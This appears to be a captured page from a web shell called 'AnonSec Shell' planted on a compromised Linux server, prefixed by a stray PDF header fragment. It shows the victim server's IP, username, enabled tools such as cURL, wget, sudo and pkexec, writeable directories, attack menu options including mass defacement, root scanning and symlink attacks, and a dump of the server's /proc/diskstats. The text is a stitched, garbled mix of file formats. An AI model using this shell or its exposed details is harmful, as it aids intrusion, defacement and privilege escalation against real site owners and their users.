%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.217.172   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/www/images/product/anon_sym/anon/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/www/images/product/anon_sym/anon/proc/diskstats
   7       0 loop0 44 0 85 1 0 0 0 0 0 60 1 0 0 0 0 0 0
   7       1 loop1 288 0 7192 57 0 0 0 0 0 148 57 0 0 0 0 0 0
   7       2 loop2 52881 0 276430 1543 0 0 0 0 0 31124 1543 0 0 0 0 0 0
   7       3 loop3 265 0 4434 85 0 0 0 0 0 188 85 0 0 0 0 0 0
   7       4 loop4 55459 0 294670 1514 0 0 0 0 0 35284 1514 0 0 0 0 0 0
   7       5 loop5 69090 0 358886 2089 0 0 0 0 0 42020 2089 0 0 0 0 0 0
   7       6 loop6 68817 0 355708 2014 0 0 0 0 0 40544 2014 0 0 0 0 0 0
   7       7 loop7 52989 0 279244 1768 0 0 0 0 0 31216 1768 0 0 0 0 0 0
  11       0 sr0 17 0 7 1 0 0 0 0 0 36 1 0 0 0 0 0 0
   8       0 sda 2932935 236801 157863694 2801605 53656324 30277382 1449368439 137258656 0 66898308 140151580 46147 38554 342259640 91318 0 0
   8       1 sda1 11980 0 109170 7504 0 0 0 0 0 11864 7504 0 0 0 0 0 0
   8       2 sda2 3268 137 563684 7743 1624 446 2089208 38912 0 10496 46890 121 18 5799904 234 0 0
   8       3 sda3 2916160 236664 157129825 2785859 53654700 30276936 1447279231 137219743 0 66881292 140096686 46026 38536 336459736 91083 0 0
 253       0 dm-0 3149360 0 156897991 3119824 83666384 0 1447279231 227007364 0 66855024 230298780 84562 0 336459736 171592 0 0
   7       8 loop8 73339 0 397334 2175 0 0 0 0 0 35832 2175 0 0 0 0 0 0
   7       9 loop9 55590 0 298856 1602 0 0 0 0 0 35288 1602 0 0 0 0 0 0
   7      10 loop10 102180 0 531616 2553 0 0 0 0 0 43956 2553 0 0 0 0 0 0
   7      11 loop11 99304 0 521890 2765 0 0 0 0 0 42364 2765 0 0 0 0 0 0
   7      12 loop12 117988 0 635448 3027 0 0 0 0 0 46332 3027 0 0 0 0 0 0
   7      13 loop13 545240 0 2685130 11439 0 0 0 0 0 97336 11439 0 0 0 0 0 0
   7      14 loop14 1235 0 64548 403 0 0 0 0 0 2916 403 0 0 0 0 0 0
   7      15 loop15 735 0 20878 537 0 0 0 0 0 1124 537 0 0 0 0 0 0
   7      16 loop16 459 0 7948 326 0 0 0 0 0 316 326 0 0 0 0 0 0
   7      17 loop17 275 0 3526 276 0 0 0 0 0 220 276 0 0 0 0 0 0
   7      18 loop18 2758 0 209844 1415 0 0 0 0 0 10160 1415 0 0 0 0 0 0
   7      19 loop19 3760 0 41118 5874 6413718 0 65797736 8802210 0 9158772 16206025 519 0 31433016 795 621600 7397145
   7      20 loop20 553 0 15070 116 6 0 16 13 0 380 144 0 0 0 0 6 13
   7      21 loop21 73931 0 392244 1774 0 0 0 0 0 35280 1774 0 0 0 0 0 0

Anon7 - 2022
AnonSec Team